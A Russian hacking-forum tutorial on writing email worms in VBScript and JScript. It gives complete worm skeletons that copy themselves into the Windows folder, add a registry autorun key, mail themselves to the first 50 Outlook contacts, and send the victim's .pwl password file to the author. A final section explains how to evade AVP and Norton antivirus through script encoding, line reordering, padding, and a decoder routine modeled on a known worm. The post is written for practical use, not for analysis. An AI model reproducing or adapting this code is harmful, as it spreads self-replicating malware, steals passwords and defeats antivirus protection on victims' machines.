• Начинающий хакер, спасибо что зашёл к нам! Для полного удобства рекомендуем Вам сразу же зарегистрироваться. Помните, необходимо придумать сложный пароль к своему логину, в котором будут присутствовать цифры, а так же символы. После регистрации вы сможете пользоваться чатом. Так же не забудьте активировать аккаунт через письмо, высланное вам на почту ! Администрация заботится о каждом из Вас...
  • Для просмотра разделов из категории Private Informations & Programms необходимо купить

Почтовый червь на VBScript

Статус
В этой теме нельзя размещать новые ответы.

T0pDro4eR

Топовый
Регистрация
11 Фев 2018
Сообщения
404
Реакции
255
Баллы
3
<div class="bbWrapper">Необходимость в создании нового командного языка возникла при переходе на платформу Win9x и NT, так как старые .bat файлы уже не могли обеспечить должной гибкости при автоматизации процессов настройки операционной среды. Был создан независимый от языка скрипт – хост, который позволял строить аналоги .bat файлов на VBScript, JScript и других скриптовых языках, например, Active Perl или Python.<br /> <br /> Как ни хороши скриптовые языки, много с ними не сотворишь. Они неспособны, повлиять на что-либо за пределами родного скрипта. Эти языки не имеют прямых инструкций, позволяющих читать и записывать файлы на диске, выводить информацию в командную строку, изменять записи в реестре и так далее.<br /> <br /> Чтобы справиться с такими задачами, нужно воспользоваться дополнительными COM – объектами. Ряд таких объектов входит в поставку WSH, а один из них, WScript, даже уже имеет созданный экземпляр, и им можно пользоваться непосредственно, без предварительного создания. Остальные создаются с помощью синтаксиса, соответствующего конкретному языку или функции WScript.CreateObject. Подробнее о WSH можно прочитать здесь.<br /> <br /> <br /> <br /> <span style="font-size: 18px"><b>Написание</b></span><br /> Настало время перейти непосредственно к описанию программного кода. Для написания примеров будем использовать Visual Basic Scripting Edition, на котором написано подавляющие большинство Internet – червей. Начнем с инструкций Option Explicit и On Error Resume Next, первая необходима при отладке кода, она запрещает использование не объявленной ранее переменной, а вторая подавляет обработчик ошибок.<br /> <br /> Option Explicit&lt;<br /> <br /> Dim FileSysObject, File<br /> <br /> Set FileSysObject = CreateObject (&quot;Scripting.FileSystemObject&quot;)<br /> <br /> Set File = FileSysObject.GetFile(WScript.ScriptFullName)<br /> <br /> В данном примере используются переменные FileSysObject и File, и если при создании скрипта вы допустите ошибку, написав FileSysObiect, интерпретатор сообщит вам, что используется необъявленная, в операторе Dim, переменная. Такие ошибки находить очень трудно, так как они зачастую меняют всю логику работы программы. Перейдем к инструкции On Error Resume Next, эта инструкция означает, что любая возникшая ошибка будет обработана программным кодом позднее, а в нашем случае никогда. Это позволяет запретить выдачу системных сообщений об ошибках и замаскировать работу скрипта.<br /> <br /> Теперь опишем третью и четвертую строки примера:<br /> <br /> <br /> <br /> Set FileSysObject = CreateObject (&quot;Scripting.FileSystemObject&quot;)<br /> <br /> <br /> <br /> Присваиваем переменной FileSysObject ссылку на объект COM-компоненты WSH File System Object. С помощью метода GetFile присвоим переменной File ссылку на командную строку местоположения исполняемого файла.<br /> <br /> Скопируем скрипт в c:\windows, для дальнейшего использования.<br /> <br /> File.Copy (&quot;c:\windows\I_am_virus.vbs&quot;)<br /> <br /> Присвоим переменной WshShell ссылку на объект COM-компоненты WSH позволяющую менять настройки системы и запускать приложения.<br /> <br /> Dim WshShell<br /> <br /> Set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br /> <br /> Теперь мы смело можем управлять захваченным компьютером.<br /> <br /> Сначала пропишем свой &quot;страшный вирус&quot; в реестр, для повторного запуска после перезагрузки, хотя для E-mail worm это и необязательно, как в прочем и процедура копирования.<br /> <br /> WshShell.RegWrite &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows _<br /> <br /> \CurrentVersion\RunServices\virus&quot;, &quot;c:\windows\I_am_virus.vbs&quot;<br /> <br /> Следующий шаг за вашей фантазией, можно скопировать из интернета более сложный вирус и запустить его, отослать вам файл с паролями, или просто и скучно перепортить кучу файлов.<br /> <br /> И, наконец, мы переходим к &quot;сердцу&quot; каждого интернет – червя, процедуре рассылки.<br /> <br /> Создаем ссылку на объект самого распространенного почтового клиента Outlook.<br /> <br /> Dim OutlookObject, OutMail, Index<br /> <br /> Set OutlookObject = CreateObject(&quot;Outlook.Application&quot;)<br /> <br /> Зададим цикл, в ходе которого разошлем зараженные письма по первым 50 адресам, занесенным в адресную книгу.<br /> <br /> For Index = 1 To 50<br /> <br /> Создадим новое почтовое сообщение<br /> <br /> Set OutMail = OutlookObject.CreateItem(0)<br /> <br /> <br /> В поле &quot;Кому&quot; занесем адрес из адресной книги<br /> <br /> OutMail.to =<br /> <br /> OutlookObject.GetNameSpace(&quot;MAPI&quot;).AddressLists(1).AddressEntries(Index)<br /> <br /> В поле &quot;Тема&quot; вставим тему сообщения<br /> <br /> OutMail.Subject = &quot;Тема сообщения&quot;<br /> <br /> Добавим текст сообщения<br /> <br /> OutMail.Body = &quot;Тело сообщения&quot;<br /> <br /> Прикрепим скрипт<br /> <br /> OutMail.Attachments.Add(WScript.ScriptFullName)<br /> <br /> И отправим его<br /> <br /> OutMail.Send<br /> <br /> <br /> <br /> <span style="font-size: 18px"><b>Каркас E-mail worm:</b></span><br /> On Error Resume Next<br /> <br /> Dim FileSysObject, File<br /> <br /> Set FileSysObject = CreateObject (&quot;Scripting.FileSystemObject&quot;)<br /> <br /> Set File = FileSysObject.GetFile(WScript.ScriptFullName)<br /> <br /> Dim OutlookObject, OutMail, Index<br /> <br /> Set OutlookObject = CreateObject(&quot;Outlook.Application&quot;)<br /> <br /> For Index = 1 To 50<br /> <br /> Set OutMail = OutlookObject.CreateItem(0)<br /> <br /> OutMail.to =<br /> <br /> OutlookObject.GetNameSpace(&quot;MAPI&quot;).AddressLists(1).AddressEntries(Index)<br /> <br /> OutMail.Subject = &quot;Тема сообщения&quot;<br /> <br /> OutMail.Body = &quot;Тело сообщения&quot;<br /> <br /> OutMail.Attachments.Add(WScript.ScriptFullName)<br /> <br /> OutMail.Send<br /> <br /> Next<br /> <br /> <br /> <br /> <br /> <span style="font-size: 18px"><b>Каркас обманки:</b></span><br /> On Error Resume Next<br /> <br /> Dim FileSysObject, File<br /> <br /> Set FileSysObject = CreateObject (&quot;Scripting.FileSystemObject&quot;)<br /> <br /> Set File = FileSysObject.GetFile(WScript.ScriptFullName)<br /> <br /> File.Copy (&quot;c:\windows\I_am_virus.vbs&quot;)<br /> <br /> Dim WshShell<br /> <br /> Set WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;)<br /> <br /> WshShell.RegWrite<br /> <br /> &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _<br /> <br /> CurrentVersion\RunServices\virus&quot;, &quot;c:\windows\I_am_virus.vbs&quot;<br /> <br /> Dim OutlookObject, OutMail, Index<br /> <br /> Set OutlookObject = CreateObject(&quot;Outlook.Application&quot;)<br /> <br /> For Index = 1 To 50<br /> <br /> Set OutMail = OutlookObject.CreateItem(0)<br /> <br /> OutMail.to =<br /> <br /> OutlookObject.GetNameSpace(&quot;MAPI&quot;).AddressLists(1).AddressEntries(Index)<br /> <br /> OutMail.Subject = &quot;Тема сообщения&quot;<br /> <br /> OutMail.Body = &quot;Тело сообщения&quot;<br /> <br /> OutMail.Attachments.Add(WScript.ScriptFullName)<br /> <br /> OutMail.Send<br /> <br /> Next<br /> <br /> Set OutMail = OutlookObject.CreateItem(0)<br /> <br /> OutMail.to = &quot;Ваш E-mail&quot;<br /> <br /> OutMail.Subject = &quot;Тема сообщения&quot;<br /> <br /> OutMail.Body = &quot;Тело сообщения&quot;<br /> <br /> OutMail.Attachments.Add(&quot;Путь к .pwl файлу&quot;)<br /> <br /> OutMail.Send<br /> <br /> <span style="font-size: 18px"><b>JScript </b></span><br /> Cравнив возможности VBScript и JScript станет понятно, что они идентичны и отличаются только синтаксисом языка.<br /> <br /> Поэтому можно писать червя как на JScript так и на VBScript. Тут уже кому как удобнее будет<br /> <br /> <br /> <br /> <span style="font-size: 18px"><b>Каркас E-mail worm:</b></span><br /> var fileSysObject, file;<br /> <br /> fileSysObject = new ActiveXObject(&quot;Scripting.FileSystemObject&quot;);<br /> <br /> file = fileSysObject.GetFile(WScript.ScriptFullName);<br /> <br /> var outlookObject, outMail, index;<br /> <br /> outlookObject = new ActiveXObject(&quot;Outlook.Application&quot;);<br /> <br /> for (index = 1; index &lt; 50; index++){<br /> <br /> outMail = outlookObject.CreateItem(0);<br /> <br /> outMail.to =<br /> <br /> OutlookObject.GetNameSpace(&quot;MAPI&quot;).AddressLists(1).AddressEntries(index);<br /> <br /> outMail.Subject = &quot;Тема сообщения&quot;;<br /> <br /> outMail.Body = &quot;Тело сообщения&quot;;<br /> <br /> OutMail.Attachments.Add(WScript.ScriptFullName);<br /> <br /> outMail.Send;}<br /> <br /> <br /> <br /> <span style="font-size: 18px"><b>Каркас обманки:</b></span><br /> var fileSysObject, file;<br /> <br /> fileSysObject = new ActiveXObject(&quot;Scripting.FileSystemObject&quot;);<br /> <br /> file = fileSysObject.GetFile(WScript.ScriptFullName);<br /> <br /> file.Copy(&quot;c:\windows\I_am_virus.vbs&quot;);<br /> <br /> var wshShell;<br /> <br /> wshShell = new ActiveXObject(&quot;WScript.Shell&quot;);<br /> <br /> wshShell.RegWrite(&quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _<br /> <br /> CurrentVersion\RunServices\virus&quot;, &quot;c:\windows\I_am_virus.vbs&quot;);<br /> <br /> var outlookObject, outMail, index;<br /> <br /> outlookObject = new ActiveXObject(&quot;Outlook.Application&quot;);<br /> <br /> for (index = 1; index &lt; 50; index++){<br /> <br /> outMail = outlookObject.CreateItem(0);<br /> <br /> outMail.to =<br /> <br /> OutlookObject.GetNameSpace(&quot;MAPI&quot;).AddressLists(1).AddressEntries(index);<br /> <br /> outMail.Subject = &quot;Тема сообщения&quot;;<br /> <br /> outMail.Body = &quot;Тело сообщения&quot;;<br /> <br /> OutMail.Attachments.Add(WScript.ScriptFullName);<br /> <br /> outMail.Send;}<br /> <br /> outMail = outlookObject.CreateItem(0);<br /> <br /> outMail.to = &quot;Ваш E-mail&quot;;<br /> <br /> outMail.Subject = &quot;Тема сообщения&quot;;<br /> <br /> outMail.Body = &quot;Тело сообщения&quot;;<br /> <br /> outMail.Attachments.Add(&quot;Путь к .pwl файлу&quot;);<br /> <br /> outMail.Send;<br /> <br /> Однако при выполнении скрипта Script Checker выдает сообщение, что этот файл возможно содержит вирус и заблокирует его выполнение при первой удобной возможности. Все связано с тем, что он реагирует на попытку отослать файл по почте, так как и в VBScript, и в JScript строка OutMail.Attachments.Add(WScript.ScriptFullName) выглядит одинаково. Избавиться от этого можно весьма легким путём а именно, закодировав скрипт программой MS Windows Script Encoder.<br /> <br /> И тут нам уже не сможет противостоять ни один из столь пупулярных антивирусов как: Norton AntiVirus, AVP.<br /> <br /> На основе сделанного анализа можно предположить, что нас ждет следующий виток эпидемий связанных с написанием вирусов на JScript.<br /> <br /> <br /> <br /> <span style="font-size: 18px"><b>Как обмануть AVP Script Checker</b></span><br /> Описанный метод обхода AVP Script checker довольно сложен, так как требует знаний разных языков программирования, однако можно придумать множество более простых методов.<br /> <br /> Практически все программы защиты от вирусов работают по одному и тому же принципу, они сравнивают файлы с имеющимися в базе данных участками вирусов, так называемыми сигнатурами. По аналогичному алгоритму работает и AVP Script checker, который после предварительной компиляции просматривает файл, и ищет &quot;знакомые места&quot;. Однако в отличие от компиляторов мощных программных продуктов cscript.exe проводит только предварительную компиляцию, без редактирования исходного кода, и поэтому, немного изменив исходный код ранее написанного вируса можно легко обойти защиту.<br /> <br /> За основу возьмем каркас почтового червя на VBScript.<br /> <br /> Начнем с самого простого метода, изменения порядка выполнения, добавления пробелов и пустых строк.<br /> <br /> Заменяем<br /> <br /> <div class="bbCodeBlock bbCodeBlock--screenLimited bbCodeBlock--code"> <div class="bbCodeBlock-title"> Код: </div> <div class="bbCodeBlock-content" dir="ltr"> <pre class="bbCodeCode" dir="ltr" data-xf-init="code-block" data-lang=""><code>OutMail.to = OutlookObject.GetNameSpace(&quot;MAPI&quot;).AddressLists(1).AddressEntries(Index) на OutMail.to = &quot;Адресс E-mail&quot;, для безопасности, и сохраняем. AVP &quot;говорит&quot;: обнаружена новая модификация вируса I-Worm VBS.Fool. Убираем строку Set File = FileSysObject.GetFile(WScript.ScriptFullName), он замолчал, значит, антивирус реагирует именно на присутствие этой строки. Меняем местами строки и получаем: Dim FileSysObject, File Set FileSysObject = CreateObject (&quot;Scripting.FileSystemObject&quot;) Dim OutlookObject, OutMail, Index Set OutlookObject = CreateObject(&quot;Outlook.Application&quot;) Set File = FileSysObject.GetFile(WScript.ScriptFullName) AVP Script checker не реагирует. Можно просто изменить проблемную строку следующим образом: Set File = FileSysObject. _ GetFile(WScript. _ ScriptFullName) Эффект тот же, надо только поэкспериментировать. В коде I-Worm VBS.HappyTime в начало файла добавлено 35 пустых строк и этого хватило, чтобы антивирус не распознал его. Существуют и более сложные методы, например кодирование тела вируса. Ярким примером этого послужил I-Worm VBS.Homepage в котором основной код был закодирован следующим образом: DeCode(&quot;Кодированное тело Homepage&quot;) Function DeCode(Coded) For I = 1 To Len(Coded) CurChar= Mid(Coded, I, 1) If Asc(CurChar) = 15 Then CurChar= Chr(10) ElseIf Asc(CurChar) = 16 Then CurChar= Chr(13) ElseIf Asc(CurChar) = 17 Then CurChar= Chr(32) ElseIf Asc(CurChar) = 18 Then CurChar= Chr(9) Else CurChar = Chr(Asc(CurChar) - 2) End If DeCode = DeCode &amp; CurChar Next End Function</code></pre> </div> </div>В результате чего, довольно простенький скрипт заразил миллионы компьютеров по всему миру.<br /> <br /> Следующим шагом будет написание на VBS полиморфика, скрипта способного видоизменять свой код по мере необходимости.<br /> <br /> <br /> <br /> <span style="font-size: 18px"><b>Заключение</b></span><br /> К недовольству &quot;настоящих вирусописателей&quot;, считающих скриптовые технологии забавой для ламеров, количество вирусов использующих эту технологию неуклонно растет. Это связанно с простотой реализации и интегрированностью в операционную систему, с помощью скриптов можно полностью управлять системой, запускать и останавливать процессы, удаленно создавать и удалять пользователей, править файлы, и много чего еще...</div>
 
Статус
В этой теме нельзя размещать новые ответы.
Сверху Снизу